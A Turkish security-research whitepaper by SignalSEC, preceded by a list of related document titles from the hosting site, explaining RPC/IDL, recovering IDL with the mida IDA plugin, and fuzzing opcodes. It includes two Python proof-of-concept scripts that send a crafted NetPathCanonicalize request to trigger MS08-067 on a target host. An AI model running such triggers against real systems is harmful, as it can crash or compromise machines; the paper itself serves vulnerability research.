RPC Zafiyetlerinin Keşfi

Benzer belgeler
RPC Zafiyetlerinin Keşfi

FIRAT ÜNİVERSİTESİ BİLGİSAYAR MÜH.

Exploit.CVE Analizi

4. Bölüm Programlamaya Giriş

Büyük, Dağıtık, Veri Yoğunluklu Uygulamalarda Programlama Paradigmaları

Görsel Programlama DERS 03. Görsel Programlama - Ders03/ 1

BLM-111 PROGRAMLAMA DİLLERİ I. Ders-12 Fonksiyonlar. Yrd. Doç. Dr. Ümit ATİLA

BLM 6196 Bilgisayar Ağları ve Haberleşme Protokolleri

Kaynak Kod Güvenliği Bir Güvensiz API Örneği

ÜRETİM SÜREÇLERİNİ GÖZLEMLEMEK VE KONTROL ETMEK İÇİN KABLOSUZ ÇÖZÜM

Lecture 11: Generics

Mühendislik Fakültesi Elektrik-Elektronik Mühendisliği C Programlama 1. Bölüm C# Programlamaya Giriş

«BM364» Veritabanı Uygulamaları

Kepware Veritabanı Ürünleri. Teknolojiye Genel Bir Bakış

ASP.NET TEMELLERİ. Öğr. Gör. Emine TUNÇEL Kırklareli Üniversitesi Pınarhisar Meslek Yüksekokulu

SIMAN KULLANIM KILAVUZU

abstract Sınıflar 1 Sınıf sınıf1 new class Ama aşağıdaki şekilde referans alınabilir;

Mendeley Eğitim. Sunanın Adı :Kocaeli Üniversitesi Kütüphane ve Dokümantasyon Daire Başkanlığı Sunu Tarihi : 2016

Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır.


Disk tabanlı bir çözümdür ve bu yapısından dolayı kullanılması kolaydır. Ayrıca hızlı bir şekilde yedekleme ve geri dönüş sağlar.

OPC Data Access (DA) Temelleri

MCR02-AE Ethernet Temassız Kart Okuyucu

ENF102 TEMEL BİLGİSAYAR BİLİMLERİ VE C/ C++ PROGRAMLAMA DİLİ. Gazi Üniversitesi Mühendislik Fakültesi Bilgisayar Mühendisliği Bölümü

C# nedir,.net Framework nedir?

BİL-142 Bilgisayar Programlama II

9 Ekim Đlgili Versiyon/lar : ETA:SQL, ETA:V.8-SQL. Đlgili Modül/ler : Cari II

Linux Assembly Programlamaya Giriş

BİL-142 Bilgisayar Programlama II

UFUK ÜNİVERSİTESİ MERKEZ KÜTÜPHANESİ MENDELEY KULLANIM KILAVUZU

Bir port aynı anda bir process tarafından dinlenebilir. Fakat bir process birden fazla portu dinleyebilir.

MATRİKS MARCO POLO NETWORKS ENTEGRASYON VE EMİR YÖNETİM SİSTEMİ

Scream! e gelen veri akışlarından bazılarını diğer bir kurum yada bilgisayarla paylaşmak için kullanılabilir.

HSancak Nesne Tabanlı Programlama I Ders Notları

Veritabanı. Ders 2 VERİTABANI


Karma C/C + + Kodlama

Hafta 13 Fonksiyonlar

JAVA PROGRAMLAMA DİLİ ÖZELLİKLERİ

NovaFortis Yazılım Danışmanlık. E-dönüşüm adaptörü

Mobil İnternet Kullanımı ve 3G Araştırması Temmuz 2009

Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir

Ağ Yönetiminin Fonksiyonel Mimarisi

İNTERNET PROGRAMCILIĞI - II

Timer İle arka plan renk değişimi

Pandora'nın Kutusu Nasıl Açılır?

Evren Yazılım Donanım Mühendislik Bilgisayar İthalat İhracat Turizm Tic. San. Ltd. Şti. Saray Mah. Huriler Sok. Demirağa Apt. No:23/B Alanya/Antalya

PAKET TRANSFER SİSTEMİ

Reverse Engineering Bootcamp Eğitim İçeriği

PAKET TRANSFER SİSTEMİ

Simatic PCS7 Eğitimleri

Programlama Dillerinde Kullanılan Veri Tipleri

PAKET TRANSFER SİSTEMİ

COM API v.1.1 BELGE SÜRÜMÜ : 1.1

Flash ile Etkileşimli Öğretim Materyali Hazırlama Semineri

Dr. Fatih AY Tel: fatihay@fatihay.net

enum bolumler{elektronik, insaat, bilgisayar, makine, gida};

Wireshark Lab.: DNS. 1. nslookup

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

Merkez Ofis : Up Hill Towers A1 B Blok No:146 TR Ataşehir / Istanbul

1. Kurulum. Tam ekranda iken MENU tuşuna. Başlat sekmesine gelin ve sonra [ / ] basın ve menüye girin. [ / ]

Kurumsal Güvenlik ve Web Filtreleme

ONLINE İŞE ALIM & ADAY VERİTABANI

ZTerminal KULLANMA KILAVUZU. yazılımı. USB Terminal

SQLMap ile CSRF Bypass İbrahim BALİÇ

KAMPÜS DIŞI ERİŞİM AYARLARI

Kurumsal Güvenlik ve Web Filtreleme

Eln 1001 Bilgisayar Programlama I

PIC MİKRODENETLEYİCİLER İÇİN. mikrobasic DERLEYİCİSİ

FABREKA YAZILIM ELEKTRONİK DANIŞMANLIK TİC. LTD. ŞTİ.

Katma Değer Vergisi Beyannamesinin (2) ekinde verilen Katma Değer Vergisi Kesintisi Yapılanlara Ait Bildirim, Muhasebe IV modülünden hazırlanabilir.

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.

EndNote Web Hızlı Başvuru kartı

MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş

Google Cloud Print Kılavuzu

İŞLETİM SİSTEMİ KATMANLARI (Çekirdek, kabuk ve diğer temel kavramlar) Bir işletim sisteminin yazılım tasarımında ele alınması gereken iki önemli konu

FONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır.

Çözüm Bilgisayar. Çözüm SIRAMATİK

Jval tipi. Genel veri yapılarını kullanacağımız zaman Jval den faydalanırız.önemli olanlar aşağıda mevcuttur:

COM API v2.0 Belge sürümü : 2.0.3

ClientAceDA Bağlantısı. ClientAce DA bağlantısı, Visual Basic.NET veya C# programcılarının rahatlıkla. serverlarla bağlantı kurabilen

2. Use Dns lookup, Use relay server aralarında seçim yapınız. Biz Dns lookup ile SMTP-mizi çalıştırdık. DNS lookup kısmında domain adınızı yazınız.

PROGRAMLAMA DERSİ 1. İNTERNET

EC-485. Ethernet RS485 Çevirici. İstanbul Yazılım ve Elektronik Teknolojileri

1.1. Yazılım Geliştirme Süreci

BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI

ANALİZ BİLİŞİM HAKKINDA

Python GELECEK. Barış Metin Linux Sistemleri. Python Programlama Dili

10/17/2007 Nesneye Yonelik Programlama 3.1

MailStore tüm şirket e-postalarınızı uzun yıllar güvenle saklayabileceğiniz bir mail arşivleme sistemidir.

PROGRAMLAMAYA GİRİŞ FONKSİYONLAR

Python ile Programlamaya Giriş DERS 9: FONKSİYONLAR DR. HÜSEYİN BAHTİYAR

Bilin tarafından verilen Kullanıcı Adı ve Şifresini bu alanlara giriniz. Bilin Yazılım ve Bilişim Danışmanlığı Ltd. Şti.

FAKS SUNUCU EĞİTİM DÖKÜMANI

BEUN VPN Hizmeti. VPN Nedir?

PERKON PDKS Kurulum ve hızlı başlangıç rehberi

JAVA API v2.0 Belge sürümü: 2.0.2

Solaris 7980g. Hızlı Başlangıç Kılavuzu. Sunum Alanı Görüntüleyici TRTR-QS Rev A 1/16

BSOFTefat E-FATURA ÇÖZÜMÜ

Transkript:

RPC Zafiyetlerinin Keşfi [http://vis.signalsec.com] Celil ÜNÜVER Sr. Security Researcher SIGNALSEC Bilgi Güvenlik Dan. Ltd. www.signalsec.com T: +90 232 433 0day (0329) E: info@signalsec.com

RPC Zafiyetlerinin Keşfi 2 İÇERİK RPC Zafiyetlerinin Keşfi Giriş ve RPC mida Plugin impacket, pymsrpc ve ms08-67 Sonuç Referanslar SignalSEC Ltd. Hakkımızda İletişim

RPC Zafiyetlerinin Keşfi 3 RPC Zafiyetlerinin Keşfi Giriş ve RPC Penetrasyon testi yapanların büyük nimeti olan MS08-67 ' yi herkes bilir. MS08-67 gibi zafiyetler, arka planda RPC isteklerinin yorumlanmasındaki programlama hatalarından oluşur. RPC protokolü server-client tabanlı bir iletişim modelidir. SMB ve SAMBA gibi servisler bu iletişim modele kullandığı gibi, bugün birçok SCADA HMI yazılımlarında mevcuttur. (Eğer RPC yoksa da SCADA yazılımlarında benzer OPC modeli mutlak vardır) Yaygın kurumsal yazılımlarda da (CA Arcsight, Novell, EMC, IBM vb.) RPC modeli çeşitli amaçlar için kullanılmaktadır. RPC modeli, network üzerinden uzak makinedeki bir programa ait lokal fonksiyonları çalıştırmaya olanak tanımaktadır. Referanslarda bulacağınız bir makaleden DCOM/RPC ile ilgili bir alıntı yaparsak ; "So. Each COM object resides in an apartment, and each apartment resides in a process, and each process resides in a machine, and each machine resides in a network. Allowing those objects to be used from *any* of these different places is what DCOM is all about." Bu fonksiyonların tanımlaması, ne şekilde - nasıl ve hangi argümanlarla çağırılacağı ise IDL (Interface Description Language) ile belirlenir. IDL ' yi bir kütüphane dosyası gibi düşünebilirsiniz. IDL dosyaları RPC server/client'ı ile birlikte derlenerek, IDL tanımlamaları statik olarak çalıştırılabilir dosya içerisinde (exe, dll) tutulur. RPC client'ı, RPC server'ın kabul ettiği IDL fonksiyon ve parametlerini kendi bünyesinde tutar. Server tarafında RPC ile bir fonksiyon çağrılacağı zaman gerekli fonksiyon ve parametleri client tarafında hazırlanır ve yine client tarafında NDR (Network Data Representation) formatına çevrilerek server'a gönderilir. Bu süreçten RPC Client Runtime Library (rpcrt4.dll) kütüphanesi sorumludur. Eğer herhangi bir RPC server/client ' ın network datalarını debugger ile trace ve takip ederseniz, "rpcrt4.dll" kütüphanesinin çağrıldığını görebilirsiniz. Server, client'dan gelen istekleri yine rpcrt4 kütüphanesi ile yorumlayarak gerekli fonksiyon çağrımlarını yapar. RPC'nin diğer önemli elementi de UUID ' dir. UUID adı üstünde tanımlanmış interfaceler için unique bir tanımlayıcıdır. (ActiveX clsid gibi) RPC client yapacağı isteklerde önce interface tanımlaması için UUID'yi kullanır. Daha sonra hangi fonksiyonu çalıştıracaksa IDL içerisinde o fonksiyon için tanımlanmış opcode ve parametrelerini çağırır. IDL içerisinde tanımlanan data ve argüman yapıları, bilinen veri türlerindedir. (long, short integer, string, widechar - unicode string vb.) Zafiyet araştırması ile uğraşanların kafasında sanırım ışık yanmıştır :) İşte zafiyetler de aslında IDL fonksiyon parametlerinin server tarafında yorumlanma / parse vb. işlemleri esnasında ortaya çıkabilmektedir. IDL fonksiyon ve parametleri, derlenerek binary içinde statik olarak tutuluyor demiştik. Dolayısıyla tersine mühendislik ile RPC server/client yazılımlarının IDL yapısına ulaşılabilir. IDL formatına ulaşılan bir RPC serverın, fonksiyonlarının nasıl bir yapıda çağrılacağı (UUID, opcode, argüman) da öğrenilebilir :) Daha sonra bu fonksiyonlar üzerinde fuzzing vb. işlemler uygulanarak çeşitli memory corruption zafiyetleri aranabilir.

RPC Zafiyetlerinin Keşfi 4 mida Plugin Herhangi bir RPC server/client binarysinin IDL tanımlamalarına ulaşmak için mida pluginini kullanabilirsiniz. mida, IDA Disassembler plugini olup Tenable Networks tarafından geliştirilmiştir. mida ' yı, IDA Disassembler ' ımıza plugin olarak yükledikten sonra CTRL + 7 kısayolu ile çağırabilirsiniz. Plugini çalıştırdığınızda aşağıdaki gibi bir ekran görüntüsü ile karşılaşacaksınız; mida bize binary içerisinde tanımlanmış RPC fonksiyonlarını bulmaktadır, daha sonra Decompile All seçeneği ile bütün bu fonksiyonlar IDL yapısına çevrilebilir. Örneğin msrpc ve smb fonksiyonlarının bulunduğu srvsvc.dll kütüphanesini mida ile decompile ettiğimizde, aşağıdaki gibi bir çıktı ile karşılaşıyoruz; --snip-- /* opcode: 0x1C, address: 0x74EE04E5 */ long sub_74ee04e5 ( [in][unique][string] wchar_t * arg_1, [out][ref] struct struct_14 ** arg_2 ); /* opcode: 0x1D, address: 0x74ED3D24 */ long sub_74ed3d24 ( [in][unique][string] wchar_t * arg_1, [in][unique][string] wchar_t * arg_2, [in] long arg_3,

RPC Zafiyetlerinin Keşfi 5 [in] long arg_4 ); /* opcode: 0x1E, address: 0x74EDC8DE */ long sub_74edc8de ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, [out] long * arg_3, [in] long arg_4 ); /* opcode: 0x1F, address: 0x74EDC8FA */ long sub_74edc8fa ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, [out][size_is(arg_4)] char * arg_3, [in][range(0,64000)] long arg_4, [in][string] wchar_t * arg_5, [in, out] long * arg_6, [in] long arg_7 ); --snip-- ms08-67 zafiyetinin yayınlanan onlarca analizden, netapi32.dll kütüphanesiki NetpwPathCanonicalize fonksiyonuyla alakalı olduğunu biliyoruz. Bu ipucu ile, srvsrc.dll den decompile ettiğimiz IDL dosyasındaki hangi opcode ve fonksiyonun NetpwPathCanonicalize fonksiyonunu çağırdığını bulabiliriz. Sırasıyla IDA ile açtığımız srvsrc.dll içerisinde "NetpwPathCanonicalize" fonksiyonunu aratıp, daha sonra bu API ' nin hangi fonksiyon içerisinde çağrıldığını bulup, bulunan fonksiyonun adresi mida çıktısında aranabilir.

RPC Zafiyetlerinin Keşfi 6 /* opcode: 0x1F, address: 0x74EDC8FA */ long sub_74edc8fa ( [in][unique][string] wchar_t * arg_1, [in][string] wchar_t * arg_2, #### vulnerable argüman [out][size_is(arg_4)] char * arg_3, [in][range(0,64000)] long arg_4, [in][string] wchar_t * arg_5, [in, out] long * arg_6, [in] long arg_7 ); Görüldüğü gibi 0x1F opcode ' un adresi ile NetpwPathCanonicalize fonksiyonun çağrıldığı sub_fonksiyonun adresi aynı. Zafiyet, netapi!netpwpathcanonicalize fonksiyonunda bulunmakta. Bu zafiyetin detaylarına değinmeyeceğim, detaylı bilgi referanstaki adreslerde bulunabilir. Hatta komple bu fonksiyonun decompile edilmiş versiyonuna Alexander Sotirov'un blogundan ulaşılabilir.

RPC Zafiyetlerinin Keşfi 7 impacket, pymsrpc ve MS08-67 Güvenlik araştırmacıları IDL tanımlamalarına ulaştıktan sonra genelde her bir opcode'un parametrelerini "fuzz" ederek zafiyet bulmaya çalışırlar. Burada ilgileneceğimiz ve fuzz edebileceğimiz parametreler [in] olarak belirtilenler. [out] ile belirtilenler client'a dönen cevaplar. Opcode ile fonksiyona gönderilen bu parametreler çeşitli data tiplerinde olabilir. Yukarıdaki opcode'un [in] parametrelerine bakarsak sırasıyla; 1-) Unique 2-) Widechar / unicode string 3-) Long 4-) Widechar / unicode string 5-) Long 6-) Long impacket, CoreSecurity tarafından geliştirilmiş, RPC paketleri oluşturmak için güzel bir python kütüphanesi. Özellikle impacket içerisindeki Structure desteği ile ms08-67 ' yi tetiklemeye çalışmadan önce RPC testleri için kullandığım favori modüldü. ms08-67 ' yi sadece impacket ile tetikleyemeyince, arka planda impacket'den de yararlanan ismi pek bilinmeyen üstad Cody Pierce ve Aaron Portnoy'un geliştirdiği pymsrpc modülünü keşfettim ve faydalı buldum. Öncelikle impacket ile IDL yapısına bakarak istediğimiz bir opcode'a RPC isteği nasıl gönderilir anlatmak için, impacket ile oluşturduğum python kodunu paylaşmamın faydalı olacağını düşünüyorum. import sys import struct from impacket.structure import Structure from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport from threading import Thread target = sys.argv[1] class ms08(structure): ###0x1f opcode parameters and types alignment = 4 structure = (

RPC Zafiyetlerinin Keşfi 8 ('stub1', 'w'), ('stub2', 'w'), ('stub3', '<L=1'), ('stub4', 'w'), ('stub5', '<L=1'), ('stub6', '<L=0'), ) ndrstring = "\\A\\..\\..\\".encode('utf_16_le') ndrstring2 = ("A" * 500).encode('utf_16_le') stub2str = ndrstring + ndrstring2 query = ms08() query['stub1'] = "A".encode('utf_16_le') query['stub2'] = stub2str query['stub4'] = "".encode('utf_16_le') trans = transport.dcerpctransportfactory('ncacn_np:%s[\\pipe\\browser]' % target) print "Connecting..." try: except: trans.connect() print "Connection fault" exit() print "Connected" dce = trans.dcerpc_class(trans) dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) dce.call(0x1f, query) #NetPathCanonicalize func. opcode 0x1f impacket ' in en güzel özelliği yukarıda görüldüğü gibi Structure yapısı ile parametleri tipine göre (string, long vb.) belirleyebilmek. Ancak dezavantajlarına gelince; Örneğin "ABC" gibi bir string, widechar/unicode olduğunda 410042004300 şeklinde gösterilir. Lakin impacket, structure'da data type "w" (widechar) olarak belirlense de otomatik olarak uygun formata dönüştürmüyor. Tabi yukarıda yaptığım gibi encode edip bir takla attırarak unicode formata çevirebilirsiniz.

RPC Zafiyetlerinin Keşfi 9 Daha sonra impacket'in sunduğu fonksiyonlar ile bind etmek istediğiniz interface'in UUID ' sini vs. belirleyip kolayca RPC isteğinizi gönderebilirsiniz. Yine de yukarıdaki kod ms08-67 ' yi tetiklemede başarısız olacaktır. Malesef impacket'in Structure class'ı içinde tanımlanmış data tiplerinde unique yok ve bizim 0x1f opcode ' unun ilk parametresi unique formatında. NDR formatında unique yapısına bakıp manuel eklemek için araştırmalar yaparken, biraz önce bahsettiğim pymsrpc modülüyle karşılaşıp uğraşmama gerek kalmadığını gördüm. import sys import struct from impacket.structure import Structure from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport sys.path.append("..") from ndr import * target = sys.argv[1] ## target ip stub1 = ndr_unique(data=ndr_wstring(data="a")) stub2 = ndr_wstring(data="\\a\\..\\..\\" + "A" * 500) stub3 = ndr_long(data=1) stub4 = ndr_wstring(data="") stub5 = ndr_long(data=1) stub6 = ndr_long(data=0) marshallized = stub1.serialize() marshallized += stub2.serialize() marshallized += stub3.serialize() marshallized += stub4.serialize() marshallized += stub5.serialize() marshallized += stub6.serialize() trans = transport.dcerpctransportfactory('ncacn_np:%s[\\pipe\\browser]' % target)

RPC Zafiyetlerinin Keşfi 10 print "Connecting..." try: trans.connect() except: print "Connection fault" exit() print "Connected, sending data!" dce = trans.dcerpc_class(trans) dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) dce.call(0x1f, marshallized) #NetPathCanonicalize opcode Görüldüğü gibi pymsrpc modülü, hem unique tipini desteklediği gibi hem de parametrelerin/dataların marshalling işlemini (kabaca NDR formatına dönüştürmeyi), serialize() fonksiyonunu çağırarak kolayca yapabiliyorsunuz. Yukarıdaki PoC kodumuzu ms08-67 zafiyeti olan bir sistemde deneyerek, zafiyeti tetikleyebilirsiniz. Sonuç Yazıda kısaca RPC modeli ve IDL yapısına değinildiği gibi çeşitli python modülleri RPC isteklerinin nasıl gönderileceği anlatılmıştır. RPC zafiyetlerinin keşfi için mida ile örnekte gösterildiği gibi çeşitli RPC uygulamalarının IDL yapıları tespit edilerek, her bir opcode'un argümanları "fuzz" edilebilir. " The most common question I get about the MSRPC fuzzer "does it find any new bugs" and I guess the answer is No. There are no new MSRPC bugs. You should give up looking for them." - Dave Aitel, 31 Agustos 2006: Dave Aitel, yukarıdaki cümleyi kurduktan 4 yıl sonra bile MSRPC zafiyetleri keşfedilmiştir. Örn; CVE-2010-2567 Belki 2014 yılında MSRPC ' de olmasa da RPC protokolünü kullanan bir çok yazılımda hala çeşitli zero-day zafiyetleri bu şekilde keşfedilebilir. Referanslar Daily Dave, MSRPC Fuzzing : http://seclists.org/dailydave/2006/q3/160 Marshalling Tutorial, Mike Hearn: http://www.winehq.org/pipermail/wine-devel/2004-july/028054.html impacket, CoreLabs: http://corelabs.coresecurity.com/index.php?module=wiki&action=view&type=tool&name=impacket pymsrpc: https://code.google.com/p/pymsrpc/ Reversing MS08-67: http://dontstuffbeansupyournose.com/2008/10/23/looking-at-ms08-067/

RPC Zafiyetlerinin Keşfi 11 SignalSEC Ltd. Hakkımızda SIGNALSEC Bilgi Güvenlik Danışmanlık Yazılım ve Teknoloji Hiz. Tic. Ltd. Şti., 2011 yılında kurulmuş bir bilgi güvenliği ve AR-GE şirketidir. SignalSEC, Türkiye de eksikliği hissedilen bilgi güvenliği dallarında araştırmalar yapmak ve hizmet vermek amacıyla kurulmuştur. Temel hedefi zafiyet araştırmaları (vulnerability research) olan SignalSEC, müşterilerine efektif, ar-ge tabanlı ve ileri seviye bilgi güvenliği hizmetleri sunmaktadır. Gönüllü Çalışmalar SignalSEC uluslararası bilgi güvenliği camiasında en aktif Türk bilişim şirketidir. SignalSEC araştırmacıları düzenli olarak uluslararası bilgi güvenliği ve hacker konferanslarına konuşmacı olarak katılmaktadır ve desteklemektedir. SignalSEC, aynı zamanda yerli/yabancı alanında en iyi güvenlik araştırmacılarının buluştuğu, Türkiye nin ilk uluslararası ve ileri seviye güvenlik konferansı olannopcon un düzenleyicisidir. Ayrıca şirketin aralarında Adobe, IBM, Microsoft, Novell gibi firmaların bulunduğu birçok popüler yazılımda keşfettiği, yayınladığı onlarca kritik güvenlik bildirisi bulunmaktadır. İletişim SIGNALSEC Bilgi Güvenlik Dan. Yaz. ve Tek. Hiz. Tic. Ltd. Şti. Adres: 1145/7 Sok. No:2 D:210 Konak / İZMİR Tel: +90 232 433 0DAY Fax: +90 232 469 85 62 Email: info@signalsec.com Web: http://www.signalsec.com (TR) http://vis.signalsec.com (EN)